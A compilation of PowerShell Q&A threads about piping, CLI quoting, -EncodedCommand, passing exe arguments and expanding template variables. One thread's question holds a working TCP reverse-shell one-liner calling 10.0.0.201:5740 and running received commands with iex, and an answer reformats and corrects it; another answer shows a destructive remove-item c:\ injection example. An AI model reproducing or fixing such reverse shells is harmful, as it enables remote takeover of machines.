Piping from a variable instead of file in Powershell - powershell

Is ther any way in Powershell to pipe in from an virable instead of a file?
There are commands that I need to pipe into another command, right now that is done by first creating a file with the additional commands, and then piping that file into the original command. Code looks somehting like this now:
$val = "*some command*" + "`r`n" + "*some command*" + "`r`n" + "*some command*"
New-Item -name Commands.txt -type "file" -value $val
$command = #'
db2cmd.exe /C '*custom db2 command* < \Commands.txt > \Output.xml'
'#
Invoke-Expression -Command:$command
So instead of creating that file, can I somehow just pipe in $val insatead of Commands.txt?

Try this
$val = #("*some command*1","*some command2*","*some command3*")
$val | % { db2cmd.exe /C $_ > \Output.xml }

You should be able to pipe in from $val provided you use Write-Output or its shorthand echo, but it may also be worth trying passing the commands directly on the command line. Try this (and if it doesn't work I can delete the answer):
PS C:\> filter db2cmd() { $_ | db2cmd.exe ($args -replace '(\\*)"','$1$1\"') }
PS C:\> $val = #"
>> *custom db2 command*
>> *some command*
>> *some command*
>> *some command*
>> "#
>>
PS C:\> db2cmd /C $val > \Output.xml
What happens here is that Windows executables receive their command line from a single string. If you run them from cmd.exe you cannot pass newlines in the argument string, but Powershell doesn't have that restriction so with many programs you can actually pass multiple lines as a single argument. I don't know db2cmd.exe so it might not work here.
The strange bit of string replacement is to handle any double quotes in the arguments: Powershell doesn't quote them and the quoting rules expected by most exe files are a bit bizarre.
The only limitation here would be that $val must not exceed about 32,600 characters and cannot contain nulls. Any other restrictions (such as whether non-ascii unicode characters work) would depend on the application.
Failing that:
echo $val | db2cmd.exe /C '*custom db2 command*' > \Output.xml
may work, or you can use it in combination with the filter I defined at the top:
echo $val | db2cmd /C '*custom db2 command*' > \Output.xml

Related

Powershell not accepting normal quotation marks

I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

Using subexpression with & in powershell

I am completely new to powershell.
I have a requirement to have a set of commands as a subexpression $() because I want the output of the command to be sent to Out-Host and without $() the if loops create an issue.
Now there might also be a possibility that the command has filenames with spaces and to handle that we append & before the file name in command.
Bacially, $(& file_name) | Out-Host fails saying & here is invalid.
How to go about using $() with &
Works ok for me. You'll need to supply a counterexample. In this case you couldn't pipe from "if" without $() or &{}.
$( If (1 -eq 1) { & echo hi } ) | out-host > file
hi
# no output until it's finished
$( If (1 -eq 1) { & 'c:\program files\internet explorer\iediagcmd' } ) |
out-host > file

Executing Powershell script from command line with quoted parameters

I am automating the build of a legacy MS Access application, and in one of the steps, I am trying to make an Access executable (.ADE). I have come up with the following code, which is stored in a file (PSLibrary.ps1):
Add-Type -AssemblyName Microsoft.Office.Interop.Access
function Access-Compile {
param (
[Parameter(Mandatory=$TRUE,Position=1)][string]$source,
[Parameter(Mandatory=$TRUE,Position=2)][string]$destination
)
Write-Output "Starting MS Access"
$access = New-Object -ComObject Access.Application
$access.Visible = $FALSE
$access.AutomationSecurity = 1
if (!(Test-Path $source)) { Throw "Source '$source' not found" }
if ((Test-Path $destination)) {
Write-Output "File '$destination' already exists - deleting..."
Remove-Item $destination
}
Write-Output "Compiling '$source' to '$destination'"
$result = $access.SysCmd(603, $source, $destination)
$result
Write-Output "Exiting MS Access"
$access.quit()
}
If I go into the PowerShell ISE and run the command below, then everything works fine, and the expected output is created:
PS C:>& "C:\Temp\PSLibrary.ps1"
PS C:>Access-Compile "C:\Working\Project.adp" "C:\Working\Project.ade"
However, I can't seem to generate the right hocus-pocus to get this running from the command line, as I would in an automated build. For instance,
powershell.exe -command "& \"C:\\Temp\\PSLibrary.ps1\" Access-Compile \"C:\\Temp\\Project.adp\" \"C:\\Temp\\Project.ade\""
What am I doing wrong?
For complex parameters, you can use Powershell's -EncodedCommand parameter. It will accept a Base64 encoded string. No escaping is needed for quotes, slashes and such.
Consider a test function that will print its parameters. Like so,
function Test-Function {
param (
[Parameter(Mandatory=$TRUE,Position=1)][string]$source,
[Parameter(Mandatory=$TRUE,Position=2)][string]$destination
)
write-host "src: $source"
write-host "dst: $destination"
}
Create command to load the script and some parameters. Like so,
# Load the script and call function with some parameters
. C:\Temp\Calling-Test.ps1; Test-Function "some\special:characters?" "`"c:\my path\with\spaces within.ext`""
After the command syntax is OK, encode it into Base64 form. Like so,
[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes('. C:\Temp\Calling-Test.ps1; Test-Function "some\special:characters?" "`"c:\my path\with\spaces within.ext`""'))
You'll get a Base64 string. Like so,
LgAgAEMAOgBcAFQAZQBtAHAAXABDAGEAbABsAGkAbgBnAC0AVABlAHMAdAAuAHAAcwAxADsAIAAgAFQAZQBzAHQALQBGAHUAbgBjAHQAaQBvAG4AIAAiAHMAbwBtAGUAXABzAHAAZQBjAGkAYQBsADoAYwBoAGEAcgBhAGMAdABlAHIAcwA/ACIAIAAiAGAAIgBjADoAXABtAHkAIABwAGEAdABoAFwAdwBpAHQAaABcAHMAcABhAGMAZQBzACAAdwBpAHQAaABpAG4ALgBlAHgAdABgACIAIgA=
Finally, start Powershell and pass the encoded string as a parameter. Like so,
# The parameter string here is abreviated for readability purposes.
# Don't do this in production
C:\>powershell -encodedcommand LgAgA...
Output
src: some\special:characters?
dst: "c:\my path\with\spaces within.ext"
Should you later want to reverse the Base64 encoding, pass it into decoding method. Like so,
$str = " LgAgA..."
[Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($str))
# Output
. C:\Temp\Calling-Test.ps1; Test-Function "some\special:characters?" "`"c:\my path\with\spaces within.ext`""
PowerShell like Bash can take single or double quotes
PS C:\Users\Steven> echo "hello"
hello
PS C:\Users\Steven> echo 'hello'
hello
this can alleviate some of the headache, also I think you can use the literal backslashes without escaping.
To run PowerShell, choose
Start Menu Programs Accessories
Windows Powershell Windows Powershell

Executing an exe with arguments using Powershell

This is what I want to execute:
c:\Program Files (x86)\SEQUEL ViewPoint\viewpoint.exe /Setvar((POSTSTR $POSTSTR)(POSTEND $POSTEND)) /G:C:\viewpointfile.vpt /D:C:($BEGDATE to $TODDATE).xls
This is what I have tried:
$a = "/Setvar((POSTSTR $POSTSTR)(POSTEND $POSTEND))"
$b = "/G:C:\viewpointfile.vpt"
$c = "/D:C:($BEGDATE to $TODDATE).xls"
$Viewpoint = "c:\Program Files (x86)\SEQUEL ViewPoint\viewpoint.exe"
&$Viewpoint $a $b $c
When I execute this I receive an error stating:
File C:\viewpointfile.vpt "/D:C:($BEGDATE to $TODDATE).xls" not found!
I'm not sure where it gets the extra quotes from. If I run the command with just $a and $b it runs fine.
Any help would be greatly appreciated. Thanks! :)
Update
manojlds suggested echoargs so here it the output from it:
&./echoargs.exe $viewpoint $a $b $c
Arg 0 is C:\Program Files (x86)\SEQUEL ViewPoint\viewpoint.exe
Arg 1 is /Setvar((POSTSTR 20101123)(POSTEND 20111123))
Arg 2 is /G:C:\viewpointfile.vpt
Arg 3 is /D:C:(2010-11-23 to 2011-11-23 PM).xls
It appears that all the arguments are being passed properly. When I run this as a command in cmd.exe it executes perfectly. So something on Powershells end must be messing up the output.
Is there any other way to go about executing this command using Powershell?
I've found the method blogged by Joel Bennett to be the most reliable when calling legacy commands
http://huddledmasses.org/the-problem-with-calling-legacy-or-native-apps-from-powershell/
I've had to use this when calling LogParser from Powershell:
set-alias logparser "C:\Program Files (x86)\Log Parser 2.2\LogParser.exe"
start-process -NoNewWindow -FilePath logparser -ArgumentList #"
"SELECT * INTO diskspaceLP FROM C:\Users\Public\diskspace.csv" -i:CSV -o:SQL -server:"Win7boot\sql1" -database:hsg -driver:"SQL Server" -createTable:ON
"#
Get echoargs.exe from Powershell community extension ( http://pscx.codeplex.com/ ) to figure out the arguments that Powershell sends to your exe.
$a = "/Setvar((POSTSTR $POSTSTR)(POSTEND $POSTEND))"
$b = "/G:C:\viewpointfile.vpt"
$c = "/D:C:($BEGDATE to $TODDATE).xls"
$echoArgs = ".\echoargs.exe"
&$echoArgs $a $b $c
You seem to be passing the arguments fine however, but the viewpoint.exe seems to be acting up. I don't see what you are doing here:
$c = "/D:C:($BEGDATE to $TODDATE).xls"
After C: there is no \ and also your error message that you have pasted shows $BEGDATE and $TODDATE verbatim, which is not possible as they would have been substituted with their values.
If I can't run a command like this it usually works for me with Invoke-Expression. Can't test yours though.
Invoke-Expression "$viewpoint $a $b $c"

Expanding variables in file contents

I have a file template.txt which contains the following:
Hello ${something}
I would like to create a PowerShell script that reads the file and expands the variables in the template, i.e.
$something = "World"
$template = Get-Content template.txt
# replace $something in template file with current value
# of variable in script -> get Hello World
How could I do this?
Another option is to use ExpandString() e.g.:
$expanded = $ExecutionContext.InvokeCommand.ExpandString($template)
Invoke-Expression will also work. However be careful. Both of these options are capable of executing arbitrary code e.g.:
# Contents of file template.txt
"EvilString";$(remove-item -whatif c:\ -r -force -confirm:$false -ea 0)
$template = gc template.txt
iex $template # could result in a bad day
If you want to have a "safe" string eval without the potential to accidentally run code then you can combine PowerShell jobs and restricted runspaces to do just that e.g.:
PS> $InitSB = {$ExecutionContext.SessionState.Applications.Clear(); $ExecutionContext.SessionState.Scripts.Clear(); Get-Command | %{$_.Visibility = 'Private'}}
PS> $SafeStringEvalSB = {param($str) $str}
PS> $job = Start-Job -Init $InitSB -ScriptBlock $SafeStringEvalSB -ArgumentList '$foo (Notepad.exe) bar'
PS> Wait-Job $job > $null
PS> Receive-Job $job
$foo (Notepad.exe) bar
Now if you attempt to use an expression in the string that uses a cmdlet, this will not execute the command:
PS> $job = Start-Job -Init $InitSB -ScriptBlock $SafeStringEvalSB -ArgumentList '$foo $(Start-Process Notepad.exe) bar'
PS> Wait-Job $job > $null
PS> Receive-Job $job
$foo $(Start-Process Notepad.exe) bar
If you would like to see a failure if a command is attempted, then use $ExecutionContext.InvokeCommand.ExpandString to expand the $str parameter.
I've found this solution:
$something = "World"
$template = Get-Content template.txt
$expanded = Invoke-Expression "`"$template`""
$expanded
Since I really don't like the idea of One More Thing To Remember - in this case, remembering that PS will evaluate variables and run any commands included in the template - I found another way to do this.
Instead of variables in template file, make up your own tokens - if you're not processing HTML, you can use e.g. <variable>, like so:
Hello <something>
Basically use any token that will be unique.
Then in your PS script, use:
$something = "World"
$template = Get-Content template.txt -Raw
# replace <something> in template file with current value
# of variable in script -> get Hello World
$template=$template.Replace("<something>",$something)
It's more cumbersome than straight-up InvokeCommand, but it's clearer than setting up limited execution environment just to avoid a security risk when processing simple template. YMMV depending on requirements :-)